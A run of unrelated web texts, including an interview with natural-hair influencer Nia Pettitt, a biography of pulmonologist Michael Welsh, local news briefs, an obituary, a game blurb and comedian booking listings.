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Rose Talks To Nia Pettitt AKA FroGirlGinny
Nia Pettitt is a force to be reckoned with. At the tender age of nineteen, the half-English, half-Zimbabwean model has built an online community of young women who share her passion for honouring and embracing the beauty of natural Afro hair. Her fans are spread across the world, united by a shared celebration of natural beauty and a mutual adoration of Nia's own golden mane. As FroGirlGinny, she shares tales of her adventures and hair care tips to over 330,000 Instagram followers, part of a growing movement inspiring a generation of young brown girls to defy Western beauty standards and nurture their natural Afros. I met her at the Lisbon leg of her 'Go With the Fro Tour,' a joint venture with fellow model and social media influencer Lauren Lewis that gives women with natural hair a chance to come together and share stories of their own natural hair trials and triumphs.
First things first, are you Nia? Are you Fro Girl Ginny?
I'm a Gemini, so I'm everything, but I like to be known as Nia.
With Nia and Lauren, feeling slightly out-fro'd
Great, so I'm here with you, Nia, at your 'Go With The Fro' event in Lisbon, and I'd like to talk to you about your perception of beauty, and especially your perception of your hair growing up.
From 3 to 11 I relaxed my hair, but I didn't do that out of seeing pictures in magazines, I just did it because my mum couldn't handle my hair. I grew up in a white area of London, so my idea of beauty was blonde hair, blue eyes, like my best friend in Primary School at the time. Then, when I went to Secondary School, there was a girl with curly hair there and I idolised her, and I just wanted to have hair like her. I didn't really have the traditional girl in the magazines as who I wanted to be, I was more wanting to be myself, but I couldn't because of where I lived, and being mixed race was hard because a part of me wanted to be English and have roast dinners and the other part of me wanted to be Zimbabwean and have sadza, so I had a kind of identity crisis because I didn't know who I wanted to be.
I know the feeling. I'm half-Kenyan and half-English, so I'm definitely familiar with that duality, and I think it's something a lot of people from mixed heritage struggle with. For me with my hair, my Mum's White, and I don't think she'd ever really dealt with Afro hair before, so I mainly had dreadlocks or a shaved head. So, what was the spark that made you want to embrace your natural hair?
It was seeing that girl, her name's Yasmin, seeing her curly hair, and then seeing a picture of myself when I was three. I had this Afro, and I was like, "Mum, why doesn't my hair do this anymore?" and she said if I wanted it I had to big chop my hair, so I just did it the next day, cut off all my relaxed hair.
That must have been quite tough. Did you cry?
No,I didn't at all.
That's impressive. I've definitely cried about a big chop. How did it feel when you had natural hair after so long with relaxed hair?
At first, everyone in school highlighted that they liked my straight hair more, but I've always been a person who doesn't depend on anyone to love me besides myself so that just sparked the journey for me of being my own woman and growing up a lot quicker than most 11-year-olds. But I was also concerned about what the hell I was going to use. I was buying mousses from Superdrug and conditioners from Tesco and I didn't know what to use.
That was a tricky one for me too. What do you think of the state of the Afro hair industry in London?
I think we still have a long way to go, and I feel like I've been able to impact change in my small way, but I want to concentrate on deeper issues for women. When I big chopped my hair, it started the journey of self-love, and I want to go into more of that than just giving hair tips. I feel like there's more to me than just hair.
Absolutely. It's impressive that you're already on that journey. I think a lot of people take maybe another 20 years to start on the self-love journey, and the superficial is a way to deter from dealing with what's underneath. That being said, did you feel as though the media was representing you and people who looked like you when you were growing up?
I don't think it did. I mean, we had Scary Spice, but her name alone, Scary, doesn't connote anything pretty. We had Alicia Keys, but she was braided most of the time, we had Chaka Khan and Diana Ross, but mostly they weren't in my era. It was mostly Scary Spice for me, that was all I had at the time.
So who did you look up to?
I think Hilary Banks, but she obviously had perm rods and flat irons, but I loved her style.
I still do! So you've transformed from being a young girl looking up to people into someone whom young girls look up to. What's that like?
I always try to be humble because if the Internet broke down, I would still be who I am today. I try not to let it all get to me because it could be taken away at any moment, so I just want to inspire people to live their lives to the fullest and travel more, and also to let young people know that the situation they're in now is not forever. We have so much ahead of us. I mean, it feels nice, but I try not to let it get to me.
But it must hard because you do have a big social media following. How did you build that brand? Do you enjoy that aspect of your work?
It was honestly really natural. I just started posting pictures and it grew. I do enjoy it, the only thing I don't enjoy is when my Gemini mind wants me to capture everything and the other half is saying enjoy the moment, so it's about finding a balance between the two.
Of course. And how did the idea of the Go With The Fro tour come about?
Me and Lauren met through Instagram and we wanted to do something together, and just came up with Go With The Fro, and it just grew from there. It's been a year now and we've got 40,000 followers, and we've travelled around Europe, we're going to Africa on Saturday, so it's taken off so quickly.
What's been a highlight?
Every time I meet these women, it's so fun for me because some of them have never been to a natural hair event, so they leave with this new energy to connect with other women and love themselves more. I love those aspects.
So it's the human connection?
And what's next?
You'll have to wait and see…
I just want to travel more, tan more, and my hair to get bigger!
Last question: what's your favourite hair product?
Skimdo Curl Cream. It's amazing.
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Nia is an inspiration! Even though I have straight blonde hair I love watching her videos for the insight into the wonderful world of natural hair, in all it's different forms, shapes and sizes. Hers is one of the boldest natural hair looks I've seen in a long time and I think it's so important for her to share that with others girls – not only is embracing your curls a hair-style but it's a life-style and a self-styling mission which helps you to get back in touch with who you are. Would love to hear more from Nia!
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Saurashtra University JRF/ SRF/ RA Recruitment 2017 : Saurashtra University release the notification for Saurashtra University JRF/ SRF/ RA Recruitment 2017. Who are interested in government related jobs, this is the best opportunity. Saurashtra University release the notification for JRF/ SRF/ RA and some other jobs. The interesting candidates apply from online through the official website of Saurashtra University which is given below. Actually, the online application of Saurashtra University JRF/ SRF/ RA is going to start as soon as possible once the notification is released. Saurashtra University JRF/ SRF/ RA Recruitment 2017 is conducted by the Saurashtra University under the Government of India. .Keep in touch with this site Sarkarirecruitment for regular job updates and notification.In this posts all the details of the job notification ,application procedure ,last date for the application is mentioned.The candidates can apply for the vacancies and can check the clear details in the official notification through the official link provided below. You can also check all types of notifications of Government jobs in Gujarat .
The Saurashtra University is one of the significant universities in Gujarat state in India. This university was established on 23 May 1967 in Rajkot city, the administrative headquarters at Rajkot. Presently, 272 colleges in Amreli, Jamnagar, Junagadh, Porbandar, Rajkot and Surendranagar districts are affiliated with the Saurashtra University.
Candidate must have M.Sc. (Organic Chemistry) with minimum 55% or equivalent grade.
Desirable: NET/GATE qualified with computation skill.
Candidates willing to apply for this job should have 28 (JRF), 32(SRF), 33(SRF extended) and 35 Years (RA) 5 years ,relaxation for SC/ST/OBC/PH/Woman candidates.
Application on plain paper along with latest Curriculum-vitae( bearing name, parent's name, full address, telephone/mobile numbers, e-mail, educational qualification, publications and research experience, if any) and attested copies of all mark sheets & certificates should reach by post or email to the following address within 05 days.
The interested applicants should remain present for personal interview on the mentioned date. No TA/DA will be paid for attending the interview.


1.4 Pursuant to the Scope of Work, the Surveyor will inspect the Vessel as thoroughly as is practicable and endeavour to comment on the more important items where, in the Surveyor's reasonable opinion, major costs consequences are considered likely to arise. It follows that the Surveyor cannot comment on every minor matter but the Surveyor will try to point out where small factors may become more serious.
1.5 The Surveyor's intention is to report on the condition of the hull(s), superstructure and fixtures (if any) of the Vessel so far as can reasonably be ascertained from a visual inspection of the Vessel at its location at the time of survey. The Client accepts that the Surveyor's survey report(s) cannot cover hidden, unexposed or inaccessible areas of the Vessel, neither can the Surveyor undertake to investigate areas that the Surveyor believes to be inaccessible at the time of inspection. Where the Surveyor is unable to gain access to areas commonly accessible, the Surveyor will endeavour to point this out.
3.1 The fee agreed between the Surveyor and the Client for the services to be provided by the Surveyor under this Agreement ("the Survey Fee") shall not include the costs of travel, subsistence and accommodation which will be charged in addition and in accordance with this Clause 3.
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4.2 All services and reports are provided for the Client's use only. No liability of any nature is assumed towards any other party and nothing in these terms, or the relationship between the Surveyor and the Client, shall confer or purport to confer on any third party a benefit or the right to enforce any provision of these terms. The provisions of the Contracts (Rights of Third Parties) Act 1999 shall not apply to this Agreement and any person who is not a party to this Agreement shall have no right under that Act to enforce any term(s) of this Agreement.
4.4 Any claim by the Client in respect of any breach of the Surveyor's obligations under this Agreement must be notified to the Surveyor as soon as is reasonably practicable after the Client becomes aware of the breach. Where any breach is capable of remedy, the Surveyor must be afforded a reasonable opportunity to put matters right at his expense.
4.5 The Client agrees that, for reasons of commercial practicality, it is necessary to limit the Surveyor's potential liability in respect of loss or damage suffered by the Client as a result of any breach by the Surveyor of any of the Surveyor's obligations under this Agreement. As such, the Client agrees that no liability howsoever arising whether under this Agreement or otherwise shall attach to the Surveyor except insofar as such liability is covered by the professional indemnity insurance referred to at paragraph 4.6 and such liability (including Claims Expenses) shall in any event be limited to £250,000 or such higher sum as the parties shall agree in writing prior to commencement of the services to which these terms relate (hereafter referred to as "the Agreed Indemnity Limit").
4.6 The Surveyor shall maintain professional indemnity insurance in the amount of the Agreed Indemnity Limit throughout the period of the performance of the Surveyor's duties hereunder provided that such insurance shall remain available at reasonable market rates.
4.7 The Surveyor's liability shall not extend to particulars, data and other information given to the Surveyor by others or obtained from outside sources, publications and the like reasonably relied upon by the Surveyor, including Class records, registry details or other such information and no assurances can be given regarding the accuracy of the same.
4.9 The Client shall be responsible for any losses, expenses or other costs reasonably incurred by the Surveyor that are caused by a breach of the Client's obligations to the Surveyor hereunder.
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Safe Environment. Known Monthly Outgoings.
Safe Environment. Known Monthly Outgoings. Live alone but not lonely.
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Failure of Government to have an aged care unit with authority like for children.
Can get Resthome and further care at Summerset in the Vines Havelock North.
Great all round. We love being here.
Security. Support. Companionship, activities, holidays and day trips.
Our management team are very supportive and friendly. Keep up your excellent work.
Summerset is Exactly what I was Looking For.
I wish all other retirement villages had the wonderful staff and management that we have.
Great management. Lots of activities. Lovely sunny units.
Not enough younger retirees to continue with social activities and committees.
No worries about maintenance. Low rate for power. Excellent Staff.
It's a good thing the staff are young! Everyone else isn't!
Management are open to suggestions.
Lovely Location. Lovely People. Feel right at home.


I've been collecting amiibo for over four years. Here's every amiibo I have picked up since they launched back in 2014! Support us on Patreon.
We go hands-on with the Diablo III Loot Goblin amiibo and show off how the figure functions in the game on Nintendo Switch. You can get your own Loot Goblin amiibo at GameStop.


What do you do when you feel out of your depth? When you have started a task or have an ambition that you're meant to fulfil, but you feel underskilled or unsuited for it. This week, a familiar story will show that using what you do have in the present moment is what really counts.
At this point, I thought to myself, what on earth was wrong with Moses? The whole conversation was about the signs that God had given him to get the Egyptian leaders to take him seriously, but all he could focus on were his shortcomings. Moses' fear and insecurity about not having the qualities that he perceived to be prerequisites for leadership, caused him to completely miss the point. The point being that all that he needed, at this stage in the journey, was literally already in his hand.
As a reader who knows how the story ends, it's easy to roll your eyes at Moses' lack of perspective. But it dawned on me that in life, a lot of us do the exact same thing.
Instead of focusing on and using what we have in the present moment, our thoughts become clouded by all the things we think that we're missing. If we spent more time nurturing what we currently have, we'd realise that it is exactly what we need to get us to the next step on the road to our final goal.
Nevertheless, Moses did have point. At some point, he would need to be able to rally all the Israelites, and to do this successfully you need to be a convincing speaker. The second part of his conversation at the burning bush provides a glimpse into how God provides all the necessary tools you need once you take the first step and use what's already 'in your hand'.
For those of us who say we believe in God – to what extent do we really live as if what we see in the Bible is true? It is filled with many different qualities and characteristics of God; in this case the Creator and Provider. If we truly believe this, then we are free to live with the expectation that as we go through life, God has the ability and willingness to equip us with all that we need. Trust that if you start something with God, He will help you complete it, despite your own hesitations (Philippians 1:6).
God tells Moses that 'now' he should go with what he currently has and only after that will the other tools that he's missing be provided. This is reflective of life with Jesus in general: with every challenging step we make, God is there along the way giving us what we need for the journey - in increments. We rarely feel completely prepared for the next phase, until we get there. As long as you start making the most of what you have now, along the journey you grow and mature, doors and opportunities open, you learn new skills and eventually... you get there.
In short, it is okay to feel out of your depth when embarking on something that you know, deep down, you're meant to do. Even in Moses' insecure state, God had sent his brother who was 'already on his way' to meet him. This shows that God is also practical and does provide us with everything we need, but not always at the timing which we think is best.
For every obstacle and challenge you might perceive on the road to reaching whatever it is that you have in mind, the support, resources and solutions you need will come with every step you take. But you will never actually meet them on the way if you're stuck standing still in one place, focusing on what you lack, instead of running with what you have.
So, what is in your hand?
What resources do you have now that can be put to good use that you've previously overlooked because they didn't 'look right'?
Once you've figured that out, go. The rest will follow.
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Join us for a Kloof Street House Halloween Party!
This twentieth century Victorian home, oozing with dark opulent colours and tantalizing aromas, is a hidden gem too enticing to resist. Secretly nestled on one of Cape Town's trendiest streets, Kloof Street House is not only a sanctuary for the mind, but for the palate as well.
Feel at home as you relax into the cozy ambience and old-world charm, amongst the interesting collection of knickknacks on book racks. The brasserie-style menu is a display of the chef's passion for food and encompasses a consciousness for every ingredient.
Whether you mingle with martinis or swap stories over Prosecco, Kloof Street House guarantees a night not to be forgotten.


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Michael James Welsh is an American pulmonologist. He is the current Roy J. Carver Chair in Biomedical Research, the Professor of Internal Medicine in Pulmonary, Critical Care and Occupational Medicine at the Department of Internal Medicine, and the Director of Pappajohn Biomedical Institute, Roy J. and Lucille A. Carver College of Medicine, University of Iowa. He is also a professor at the Department of Neurosurgery, Department of Neurology, and Department of Molecular Physiology and Biophysics. He received the 2022 Shaw Prize in Life science and Medicine, together with Paul A. Negulescu, for their work that uncovered the etiology of cystic fibrosis and developed effective medications.

Early life and education
Welsh was born and raised in Marshalltown, Iowa, and went to Loras College in Dubuque. He has 3 siblings. He obtained his BSc from the University of Iowa, then his MD from College of Medicine of the same university (now the Roy J. and Lucille A. Carver College of Medicine) in 1974. He completed his residency in Internal Medicine at the University of Iowa Hospitals and Clinics, during which the attending physicians supervising him induced his interest in research.

Career
After his residency, Welsh spent 3 years at the University of California, San Francisco and then University of Texas Medical School at Houston as a research fellow, returning to the University of Iowa in 1981 and becoming an assistant professor at the Department of Internal Medicine, eventually promoted to Professor of Internal Medicine and Professor of Molecular Physiology and Biophysics.

Welsh was the President of the American Society for Clinical Investigation between 1996 and 1997, and has been the President of the Association of American Physicians. Currently, Welsh is an investigator at the Howard Hughes Medical Institute (since 1989) and sits on the Scientific Advisory Board of the Harrington Discovery Institute at University Hospitals Cleveland Medical Center.

Research
Welsh's research centered on cystic fibrosis, specifically the CFTR protein, an ion channel that allows chloride ions to pass through. His studies helped answer questions about why defects in the protein emerge and how these defects affect the protein's function. In 1989, Lap-Chee Tsui, Francis Collins, and their team discovered the gene that encodes the CFTR protein and found that changes in the protein caused cystic fibrosis. Welsh's group discovered in 1991 that the CFTR protein is a chloride channel, meaning it allows chloride ions to pass through cell membrane. The same year, his group reported how the activity of the CFTR protein could be regulated. He later categorized the four classes of CFTR mutations that are still in use today in an expanded format. Crucially, Welsh and his group found that when the CFTR protein contains F508del mutation, the most common mutation in cystic fibrosis patients, it could be transported to the cell surface under low temperature but not at body temperature. His study also showed F508del-mutated CFTR protein can function properly if it reached cell surface, paving the way for cystic fibrosis therapies. In recent years, Welsh has developed animal models of cystic fibrosis, most notably in pigs, allowing for the study of the disease in an in vivo setting.

Personal life
Welsh married twice. He met his first wife, who died in 2006 from cancer, when she was a college student. They had 3 children. Welsh married his second wife in 2013.

Honors and awards
 1994 - James Burns Amberson Lecture, American Thoracic Society
 1997 - Member of the National Academy of Medicine
 1998 - Member of the American Academy of Arts and Sciences
 2000 - Member of the National Academy of Sciences
 2009 - Gordon Wilson Medal, American Clinical and Climatological Association
 2017 - Walter B. Cannon Award Lectureship, American Physiological Society
 2017 - Steven C. Beering Award, Indiana University School of Medicine
 2018 - Warren Alpert Foundation Prize
 2020 - George M. Kober Medal
 2022 - Shaw Prize in Life Science & Medicine
 2023 - Wiley Prize

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Living people
Members of the United States National Academy of Sciences
Howard Hughes Medical Investigators
Members of the National Academy of Medicine
University of Iowa faculty
University of Iowa alumni
American physicians
Year of birth missing (living people)

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Florence Elks Spring Craft Extravaganza set for…
Florence Elks Spring Craft Extravaganza set for April 20-21
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Hand-crafted planters and birdhouses made by Cotopaxi resident Gary Sagan will be part of the Florence Elks Spring Craft Extravaganza Friday and Saturday.
By Canon City Daily Record |
PUBLISHED: April 13, 2018 at 1:55 pm | UPDATED: April 15, 2019 at 3:57 am
The Florence Elks is making it easy to shop for a Mother's Day gift. The organization will host a Spring Craft Extravaganza from 5-8 p.m. April 20 and 9 a.m. to 4 p.m. April 21 at 131 E. Front St. in Florence. More than 20 crafters will offer leatherwork, jewelry, soaps, lotions, floral, recycled pallets, embroidered and quilted items, towels, honey, cards, scrapbooking and much more. Cotopaxi resident Gary Sagan will offer hand-crafted planters, birdhouses and bird feeders, and he will take orders for custom items. Chili and cinnamon rolls will be available for purchase April 20, and pulled pork sandwiches will be offered April 21. A portion of proceeds from the extravaganza will benefit the Boys & Girls Club of Fremont County.
Volunteers sought for Keep Cañon Clean team
Cañon City's Code Enforcement has initiated a program for volunteers to assist Code Enforcement with community patrolling of violations. Code Enforcement's Keep Cañon Clean Team program will consist of 5-6 volunteers who will patrol assigned neighborhoods within Cañon City. The program will run from May to August. Volunteers will be scheduled to make their inspection tours on weekdays between 8 a.m. and 5 p.m. Volunteers will leave courtesy door hangers at a residence concerning the violation found.
A prerequisite to participate is attending the Code Enforcement 101 presentation April 24. Three key violations — weeds, litter and inoperable vehicles — are the most common nuisance violations, city-wide.
Volunteer applications may be submitted starting April 24 after the Code Enforcement 101 presentation. Training will begin at 10 a.m. May 9. For more information, call Joelene Inman at 719-269-9011. To sign up for the program, email joinman@canoncity.org.
The public is invited to Cañon City's Code Enforcement 101 program
Code Enforcement has initiated a program to educate the public about Code Enforcement's purpose and objectives. A PowerPoint presentation followed by Q&A concerning codes and violations will be held from 1-2 p.m. and again from 6-7 p.m. April 24 at John D. Havens City Hall, located at 128 Main St. Refreshments and cookies will be provided. For more information, call Joelene Inman at 719-269-9011. To sign up for the program, email joinman@canoncity.org and let her know which session you will be attending.
BLM approves mineral material sampling proposal in Fremont County
The Bureau of Land Management Royal Gorge Field Office announced its decision Thursday approving a hard rock mineral materials sampling proposal in the Parkdale area as part of a mineral materials sale application.
"Mineral materials used in the aggregate industry are vital ingredients in concrete and asphalt products," said Royal Gorge Field Manager Keith Berger. "This sampling effort will give us a better understanding of the mineral characteristics in the area and its potential use as aggregate for construction."
The project's Environmental Assessment, Record of Decision, Finding of No Significant Impact and other related documents are available online at https://go.usa.gov/xnR38. These documents are also available for review at the BLM Royal Gorge Field Office, 3018 E. Main St.
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Democratic Gov. Jared Polis goes to the Western Conservative Summit – and gets denounced
19th annual Walk for Hope set for Saturday
Colorado snowpack is still lingering in mid-July. This hasn't happened in nearly a decade.
Phil's Barber Shop promotes children's literacy through Read to a Barber
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During Supreme Court Justice Brett Kavanaugh's Senate confirmation hearing, Dr. Christine Blasey Ford testified to how he sexually assaulted her as a high school student. In support of Ford, Artemisia Gentileschi's vengeful painting Judith Slaying Holofernes, ca. 1620, based on a Biblical story in which a strong-armed Judith and her maidservant behead the titular Assyrian general, was circulated on social media as a meme. Captioned with women's empowerment hashtags, such as #SlaySisters, the artwork distilled contemporary feminist rage.
Feminists have made a project of decoupling womanhood from motherhood, even going so far as to denaturalize it. This impulse informs groundbreaking bodies of work, such as Mary Kelly's Post-Partum Document, 1973–79, a conceptual piece that records the parent-child relationship through various means, such as diary entries and stained diapers. But there are fewer examples of how paternity might be reimagined—even celebrated—through this lens.
IT'S HARD FOR ME to feel at home at most "gala season" events. For starters, I can't hold my alcohol. I also start to feel a serious disconnect between my roots—as the Jersey-born offspring of a family of public school teachers—and the way certain sectors of the art world court the one percent. Not to mention the fact that soigné events almost never take place in my neighborhood.
"I don't enjoy it here / squatting on this island / looking picturesque and mythical," says the narrator of Margaret Atwood's 1974 poem "Siren Song," a second-wave-feminist retort to Homer's amphibious temptresses in the Odyssey. Today, it appears that sirens have been culturally domesticated, seen less as femmes fatales than as ethereal beauty inspirations for #mermaidhair and #seawitch looks. "Pearls," curated by Natalie Yang, brings together works by seven female artists in their early twenties who reclaim the siren as a symbol of desire, ecosorcery, and vulnerability.


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More TSA agents call out sick as government shutdown continues
A TSA checkpoint at a U.S. airport. (Credit: TSA)
One in ten airport screeners missed work on Sunday as federal workers increasingly feel the effects of the government shutdown, which forces them to work without pay.
Data released by the Transportation Security Administration (TSA) shows a national rate of 10% of unscheduled absences, up from 3.1% on the same day last year and up from 8% on Saturday.
Many employees are reporting that they are unable to work due to financial limitations, according to TSA.
The national average wait time remained within 30 minutes for standard lanes, but some airports experienced longer than usual wait times: 45 minutes at New Orleans Airport and 35 minutes at Minneapolis-Saint Paul International Airport.
The current shutdown began on December 22 when funding expired for parts of the government, including Homeland Security, the U.S. Treasury, and the Justice Department. More than 830,000 federal employees are either furloughed or working without pay.
Lawmakers passed a stopgap funding bill in December to avoid a government shutdown, but Trump refused to sign it in an attempt to secure funding for a wall on the Mexican border. Democrats, who are now in control of the House, have refused Trump's demand.
Trump made the border wall one of his biggest campaign promises and vowed to make Mexico pay for it, but Mexico has refused to do so, and Trump's efforts to use taxpayer money have been met with opposition in Congress.
At 31 days, the partial government shutdown is by far the longest in U.S. history, surpassing the 21-day shutdown in 1995 and 1996, when Democratic President Bill Clinton and the Republican Congress clashed over economic forecasts for the federal budget.
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Shirlyn Potter Daddario passed away peacefully, surrounded by her loving family, after a heroic battle with breast cancer.
Shirlyn was a San Diego native, graduated from Crawford High School, attended San Diego State University, and received her JD from California Western School of Law. Shirlyn was tireless, refusing to let anything stop her.
She completed her undergraduate and law degrees while a single mother to her three girls, somehow managing to attend their swim meets and run marathons too. She valued education and encouraged her daughters to excel in all of their endeavors, and was immensely proud of them for all of their accomplishments.She will always be remembered as the consummate hostess. Her home was always the gathering place for friends and family, be it pool parties in the summer or Christmas dinner for any and all who would otherwise spend the holiday alone. Shirlyn loved her family and friends, cooking, gardening, traveling, the family cabin, her Jeep, the law, opera, and above all, her cherished grandchildren. "Granny" was never happier than when she was being embarrassingly silly with her adoring grandkids.
She leaves behind a wide circle of friends and colleagues, including her Geocon family, who were all a tremendous support to her during her illness. Shirlyn is survived by her three daughters and sons-in-law, Dominique Tharp (Jeep) of Alpine, Sunshine Axlund (Eric) of Erie, CO, and Sarah Dorsey (Dan) of Ft. Collins, CO, her three sisters, Terry Cameron, Carolyn Sharpe and Linda Anderson, all of San Diego, as well as her four beloved grandchildren, Haleigh, Dane, Bridger and Cole.Shirlyn truly lived life to the fullest and found joy in the everyday. Her positivity and faith remained steadfast, even in the midst of her most difficult days. She was a mother to everyone, and we lost her far too soon.
In lieu of flowers, donations may be made to the University of Colorado Cancer Center to support the research of Shirlyn's oncologist, Dr. Peter Kabos. Please send your gift to: University of Colorado Foundation, PO Box 17126, Denver, CO 80217. Please note Shirlyn Daddario and fund 0222776 in the memo field, payable to CU Foundation. All are welcome to a Funeral Mass at Saint John the Evangelist Church in Encinitas at 12:30 pm on April 1, with a Celebration of Life immediately following.


2085. Humanity faces extinction. Alien insects from the edge of our solar system, long hidden behind the façade of reality, descend to enslave us. Hordes of unspeakable horrors roll out from Central Asia, laying waste to anything in their path. The church of the fish-god scours the world for lost occult secrets to unleash terrible forces. Dead gods awaken and turn their dreadful eyes toward the Earth. And within hides a cancer, eating away at the very heart of the New Earth Government.
This is the Aeon War. This is the time of CthulhuTech.
Climb inside a thirty-foot tall war machine and rain down hell on the unwavering Migou. Fight tooth and nail on the front lines against the horrific beasts of the Rapine Storm. Seek out the disgusting corruption of the insidious Esoteric Order of Dagon. Explore the dark world of the malignant Chrysalis Corporation and their unseen monstrous agents. Sift through secrets long thought lost and bend the power of the cosmos to your will. Join in symbiosis with something beyond time and space and become a shape-shifting bringer of wrath.
Nowhere else will you find a setting like this.
an overview of the rich world of the Aeon War.
an overview of the innovative Framewerk system. Not only cinematic, Framewerk puts control back where it belongs – in your hands.
the option to play a hardy and resourceful 21st century Human or join the fight as a night-skinned genetically-engineered Nazzadi.
the option to play as one of four fully-generated Characters, who are mysterious alien shape-shifting Tagers.
the Orthanach Stone, a fully fleshed-out, ready-to-run story, to get you into a game now.
details on four of the monstrous Dhohanoid servants of the Chrysalis Corporation.
The CthulhuTech Quick-Start Rules are a complete, self-contained storytelling game, for up to four players and a Storyguide. All you need besides this book are five to ten 10-sided dice.
disturbing content and images. Reader discretion is advised.
This title was added to our catalog on April 16, 2010.


Carol MacDaniels Teacher of the Year Award was presented to Daniel Boster, "...a 'self-proclaimed' activist teacher at Ralston High School..."
The Administrative Support award for 2014 was presented to Rex Anderson, Director of Curriculum and Instruction at Gretna Public Schools.
Dr. Robert Brooke was honored for his 20 years as Director of the Nebraska Writing Project, at the 2014 Annual Spring Gathering on May 2.
North Star Embedded Institute An unofficially termed Writing Across the Curriculum effort at Lincoln North Star High School creates more meaningful writing opportunities in all classes, even math and art.
Nebraska Writing Project members and friends of NeWP joined together to explore nature and write at the Platte River Writing Marathon.
2013 Poetry of Place named twelve Nebraska student poets who read their poetry of place at the State Capitol in Lincoln.
Omaha Writing Group "The Omaha Writing Group decided to spend the longest night of the year experiencing the world from the seat of a kayak..."
"A much needed rainstorm threatened to intrude on this year's writing marathon at the Benedictine retreat center near Schuyler Nebraska..."
Visit Nebraska Organizations That Support Writers, an annotated reference of current happenings and resources for writers around Nebraska.
Carol MacDaniels Teacher of the Year Long-time NeWP member Anne Walden received the award at NeWP's annual Spring Awards gathering.
Platte River Writing Retreat and Marathon Ten Nebraska Writing Project Teacher-Consultants convened at the Chokecherry cabins in the ever scenic and serene Platte River State Park for the annual Fall Writing Retreat and Marathon.
Spotlight Writer: Danielle Helzer Gretna High School teacher Danielle Helzer shares her story and her writing.
2012 Nebraska Youth Writing Festivals The Nebraska Writing Project hosts its first Youth Writing Festivals at Elkhorn South High School and the University of Nebraska–Kearney.
Lincoln Summer Institute 2011 Fourteen teachers rejuvenated this summer with writing, inquiring, and strategy-sharing.
2011 Rural Summer Institute at North Platte Fifteen central and western Nebraska teachers (K-12) participated in the 2011 Nebraska Writing Project Rural Institute.
2011 Technology Summer Insitute Recap The 2011 Technology Institute was like an Extreme Makeover: Teacher Technology Edition.
Spotlight Writer: Danielle Helzer Perkins County High School teacher Danielle Helzer shares her story and her writing.
Twelve Stories I Never Told You Vignettes written by NeWP Advisory Board members and inspired by Dan Holt's "Ten Stories about Coyotes I Never Told You".
Fourth Annual Retreat and Marathon Teacher-writers descended once again on Platte River State Park for the annual Nebraska Writing Project Platte River Writing Retreat and Marathon.
Five Nebraska Teachers Score in Chicago Five middle school NeWP teachers participated in the 2011 National Evaluation Scoring Conference.
Writing Project Profiled "GoodNUz", a publication of the Nebraska Alumni Association, profiles NeWP.
One Book One NeWP Grab your iPad, Kindle, or library card and hunt down a copy of the titles voted in for the 2011 discussion.
Holocaust Satellite Seminar "From digital stories, to action plans, to personal reflection pieces, our teachers shared what they learned."
Twelve Students Selected for Poetry of Place Twelve student poets from across Nebraska gathered at the State Capitol on May 6, to read their selected poems.
Administrative Support AwardRobert Bussmann was awarded the Nebraska Writing Project 2011 Administrator Certificate of Recognition at the annual Spring Gathering.
Carol MacDaniels Award Jane Conneally received the Nebraska Writing Project Carol MacDaniels Award for 2011.
Spring Marathon Goes West to Holt County Nebraska Writing Project Teacher Consultants enjoyed sharing their county's local wonders.
NeWP at Orlando in Photos Seven Nebraska teachers represent NeWP at NWP in Orlando.
Lincoln North Star English Department Utilizes EQUIPs Melanie Farber, English Teacher and the English Department Chair at Lincoln North Star High School, describes the impact of NeWP EQUIPs in the Lincoln North Star English Department.
Spotlight Writer: Diana Weis Millard Public Schools (Omaha) teacher Diana Weis shares her story and her writing.
"There is No Future Without Memory: Exploring the Holocaust and Social Justice"
and the Administrator Certificate of Recognition Award.
Sharon Bishop's "The Power of Place"


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Steve Barcellona Comedy and Magic
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Comedian from Saint Louis, MO (112 miles from Scott County, MO)
Fun, Interactive Entertainment That Will Make Your Event Hilarious and Amazing!! Steve Barcellona puts clean comedy and magic, on the menu of corporate events nationwide. His interactive, high-energy style puts the exclamation point on all types of events. It's a clean, PG-13 comedy club style act. Much like what you'd see in a Las Vegas showroom or on board a luxury cruise ship! It is the kind of thing that will have everyone laughing together and talking about your event and... (more)
Corporate Comedian Magician... Mark Robinson
Clean Comedian from Saint Louis, MO (110 miles from Scott County, MO)
BEST DEMO VIDEO YOU WILL SEE. Mark Robinson is one of the hottest comedy acts in the country. You've seen him in comedy clubs, Las Vegas, TV commercials, and NBA halftimes. His audience participation show has garnered rave reviews. Check out the video and see why Mark is the GUARANTEED HIT of your next event! (more)
Professional Misbehaver Rick Lewis St. Louis
PROFESSIONAL MISBEHAVER RICK LEWIS is a 50 year old man who rides a 12 foot high unicycle, is the World's Funniest Waiter, and is the author of the book, "7 RULES YOU WERE BORN TO BREAK". If you're looking for an absolutely unique way to bring a group of people together with clean wholesome laughter and fun, and to inspire them to excellence as individuals or as a group, Rick Lewis is exactly what you need. Here is what the CEO of the Denny's Restaurant chain said about Rick after his... (more)
Comedian from Florissant, MO (126 miles from Scott County, MO)
Indulge your group with a performer! David Graham is a clean comedian who hits those hard-to-reach areas of the comedic nervous system. From family discipline to a spell-binding Temptaions review with David doing all four-parts harmony acapella, it is the very definition of a "show". "I make a living from doing the thing I used to get beatings for." With appearances on "Comedy Central", NBC's "Last Comic Standing", cruise ships, and touring in 41 states, this 19 year stage... (more)
Jeremy Nunes: Our Best Comedian 4 Straight Years!
Booked 37 Days Ago!
Comedian from Springfield, IL (190 miles from Scott County, MO)
Jeremy has a our highest rating, 5 stars, based on feedback from clients like you! We also granted him our "Best Comedian" award in 2015, 2016, and 2017! This clean comedian has appeared in "The Layover", "The Break-Up", "Last Comic Standing", "Final Witness," 2 PBS mini-series, Comcast on Demand, a National Geographic Special, and heard on ESPN Radio and Sirius XM Satellite Radio. He got his start by winning $200 in a local comedy competition. Soon after, the 6'6" comedian left the... (more)
Rik Roberts :: Clean Comedy & Creative Keynotes!
Comedian from Nashville, TN (169 miles from Scott County, MO)
Your group will love Rik's "easy to relate to" upbeat comedy. 100% funny with a money back guarantee. With 20 years experience, you can rest assured you and your event are in good hands. Rik can offer you multiple choices for your event including Stand-Up Comedy, a Creative Keynote Speech or an appearance as Barney Fife! Want to really stack the deck? He can provide all three or any combination of the programs to make your event a huge success. His stand-up routines were featured on... (more)
Marty Pollio
Comedian from Louisville, KY (225 miles from Scott County, MO)
